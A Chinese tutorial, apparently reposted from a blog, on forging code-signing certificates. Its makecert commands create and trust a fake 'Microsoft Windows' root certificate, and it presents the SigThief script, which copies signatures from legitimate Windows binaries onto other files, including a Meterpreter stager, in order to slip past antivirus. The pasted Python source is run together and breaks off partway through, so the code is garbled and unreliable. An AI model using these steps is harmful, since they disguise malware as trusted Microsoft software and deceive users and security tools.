Python使用sigthief签发证书的实现步骤

目录

  • 制作并签发证书:
  • 伪造PE文件证书:
证书制作工具下载: https://github.com/3gstudent/signtools

制作并签发证书: 正常情况下,针对exe签发证书有如下几个步骤.
1.查询一个程序中存在的证书,可以使用下面三个命令。
c:\> signtools Get-AuthenticodeSignature C:\Windows\System32\ConsentUX.dllc:\> signtools signtool.exe verify /v C:\Windows\System32\ConsentUX.dllc:\> signtools sigcheck.exe -q C:\Windows\System32\ConsentUX.dll

2.使用makecert命令制作证书,sv-私钥文件名,ss-主题的证书存储名称,n-证书颁发对象,r-证书存储位置。
c:\> signtools makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cerc:\> signtools cert2spc Root.cer Root.spcc:\> signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f

【Python使用sigthief签发证书的实现步骤】3.注册证书与签发证书。
c:\> signtools certmgr.exe -add -c Root.cer -s -r localmachine rootc:\> signtools signtool sign /f Root.pfx /p 1233 lyshark.exe

而如果要给PowerShell脚本添加证书,则执行如下命令即可.
1.生成证书文件
c:\> makecert -n "CN=Microsoft Windows" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cerc:\> cert2spc certtest.cer certtest.spcc:\> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.给powershell脚本签名
c:\> powershellc:\> $cert = Get-PfxCertificate certtest.pfxc:\> Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert


伪造PE文件证书: 有些反病毒软件供应商优先考虑某些证书颁发机构而不检查签名是否真正有效,并且有一些只是检查以查看certTable是否填充了某些值。这个工具让你快速将从已签名的PE文件中删除签名并将其附加到另一个文件,修复证书表以对文件进行签名。
开源工具SigThief可用于伪造证书,将下方代码保存为sigthief.py即可:
import sysimport structimport shutilimport iofrom optparse import OptionParserdef gather_file_info_win(binary):"""Borrowed from BDF...I could just skip to certLOC... *shrug*"""flItms = {}binary = open(binary, 'rb')binary.seek(int('3C', 16))flItms['buffer'] = 0flItms['JMPtoCodeAddress'] = 0flItms['dis_frm_pehdrs_sectble'] = 248flItms['pe_header_location'] = struct.unpack(' 我们需要找一个带有证书的文件,然后通过使用sigthief.py完成证书的克隆。此处就拿系统中的ConsentUX.dll演示。
c:\> python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exeOutput file: check.exeSignature appended.FIN.

也可以从二进制文件中获取签名并将其添加到另一个二进制文件中
$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe Output file: /tmp/msftesting_tcpview.exeSignature appended. FIN.

将签名保存到磁盘以供以后使用,提供了一个转存功能。
$ ./sigthief.py -i tcpview.exe -rRipping signature to file!Output file: tcpview.exe_sigSignature ripped. FIN.```BASH使用翻录签名```BASH$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exeOutput file: x86_meterpreter_stager.exe_signedSignature appended. FIN.```BASH截断(删除)签名 这实际上有非常有趣的结果,可以帮助您找到重视代码功能签名的AV)```BASH$ ./sigthief.py -i tcpview.exe -TInputfile is signed!Output file: tcpview.exe_nosigOverwriting certificate table pointer and truncating binarySignature removed. FIN.

文章出处:https://www.cnblogs.com/lyshark
以上就是Python使用sigthief签发证书的实现步骤的详细内容,更多关于Python使用sigthief签发证书的资料请关注脚本之家其它相关文章!

    推荐阅读